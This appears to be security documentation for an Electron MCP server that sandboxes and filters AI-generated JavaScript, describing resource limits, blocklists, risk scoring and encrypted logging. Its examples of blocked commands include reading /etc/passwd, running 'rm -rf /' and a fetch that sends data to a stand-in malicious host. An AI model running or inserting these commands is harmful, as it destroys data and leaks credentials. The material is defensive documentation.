This document describes the security measures implemented in the Electron MCP Server to ensure safe execution of AI-generated commands.

• Sandboxed Environment: All JavaScript code execution is isolated using a secure Node.js subprocess
• Resource Limits:
  • Maximum execution time: 5 seconds
  • Memory limit: 50MB
  • No filesystem access unless explicitly needed
  • No network access by default
• Global Restriction: Dangerous globals like process, require, fs are disabled in the sandbox

• Static Analysis: Commands are analyzed for dangerous patterns before execution
• Blacklisted Functions: Blocks dangerous functions like eval, Function, require, etc.
• Pattern Detection: Detects potential XSS, injection, and obfuscation attempts
• Risk Assessment: All commands are assigned a risk level (low/medium/high/critical)
• Command Sanitization: Dangerous content is escaped or removed

• Encrypted Logs: All execution attempts are logged with encrypted sensitive data
• Metadata Tracking: Logs include timestamps, risk levels, execution times, and outcomes
• Security Events: Failed attempts and blocked commands are specially flagged
• Performance Metrics: Track execution patterns for anomaly detection

• Encryption: Screenshot data is encrypted before storage
• User Notification: Clear logging when screenshots are taken
• Data Minimization: Screenshots are only stored temporarily
• Secure Transmission: Base64 data is transmitted over secure channels

The following operations are automatically blocked for security:

• Direct eval() or Function() calls
• File system access (fs, readFile, writeFile)
• Process control (spawn, exec, kill)
• Network requests in user code
• Module loading (require, import)
• Global object manipulation

• Excessive string concatenation (potential obfuscation)
• Encoded content (\\x, \\u sequences)
• Script injection patterns
• Cross-site scripting attempts

Security settings can be configured via environment variables:

# Encryption
SCREENSHOT_ENCRYPTION_KEY=your-secret-key-here

The system tracks various security metrics:

• Total Requests: Number of commands processed
• Blocked Requests: Commands blocked due to security concerns
• Risk Distribution: Breakdown by risk levels
• Average Execution Time: Performance monitoring
• Error Rate: Failed execution percentage

// UI interactions
document.querySelector('#button').click()

// Data extraction
document.getElementById('title').innerText

// Simple DOM manipulation
element.style.display = 'none'

// File system access
require('fs').readFileSync('/etc/passwd')

// Code execution
eval('malicious code')

// Process control
require('child_process').exec('rm -rf /')

// Network access
fetch('http://malicious-site.com/steal-data')

When extending the MCP server:

1. Always validate input before processing
2. Log security events for audit trails
3. Test with malicious inputs to verify security
4. Follow principle of least privilege
5. Keep security dependencies updated

All security events are logged to logs/security/ with the following information:

• Timestamp and session ID
• Command content (encrypted if sensitive)
• Risk assessment results
• Execution outcome
• User context (if available)
• Performance metrics

Note: This security implementation provides strong protection against common threats, but security is an ongoing process. Regular security audits and updates are recommended.